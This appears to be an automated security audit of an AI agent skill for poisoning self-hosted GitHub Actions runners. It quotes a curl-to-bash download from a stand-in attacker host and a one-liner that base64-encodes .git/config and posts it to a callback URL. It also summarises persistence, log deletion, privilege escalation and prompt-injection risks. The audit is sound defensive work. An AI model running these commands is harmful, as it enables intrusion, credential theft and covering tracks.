self-hosted-runner-poisoning
Fail
Audited by Gen Agent Trust Hub on Nov 9, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTIONPERSISTENCEPRIVILEGE_ESCALATIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill provides a command to download and execute a script from a remote server directly into a shell environment (
curl -sSfL https://ATTACKER/runner-install.sh | bash) as part of a persistence payload.\n- [DATA_EXFILTRATION]: Functional payloads are included for reading sensitive credential files and environment variables, then sending the encoded content to external callback URLs (cat .git/config | base64 | curl -d @- https://CALLBACK).\n- [COMMAND_EXECUTION]: The methodology involves using external security tools like the Gato toolkit and the GitHub CLI to enumerate infrastructure, modify workflows, and delete workflow logs to remove evidence of exploitation.\n- [PERSISTENCE]: The skill details how to install and register a secondary GitHub Actions runner as a background process to maintain long-term access to the host machine.\n- [PRIVILEGE_ESCALATION]: Instructions describe how to target specific runner labels to acquire cloud credentials (e.g., AWS, Azure, vCenter) and escalate access from a single repository to broader organizational infrastructure.\n- [INDIRECT_PROMPT_INJECTION]:\n - Ingestion points: Processes repository configuration and workflow files (.github/workflows/) from potentially untrusted external repositories.\n
- Boundary markers: None present; the skill treats data from workflow files as instructions to be executed or modified.\n
- Capability inventory: Full shell access, network exfiltration capabilities, and repository write permissions via the GitHub API.\n
- Sanitization: No validation or sanitization of ingested workflow data is provided.
Recommendations
- HIGH: Downloads and executes remote code from: https://ATTACKER/runner-install.sh - DO NOT USE without thorough review
Audit Metadata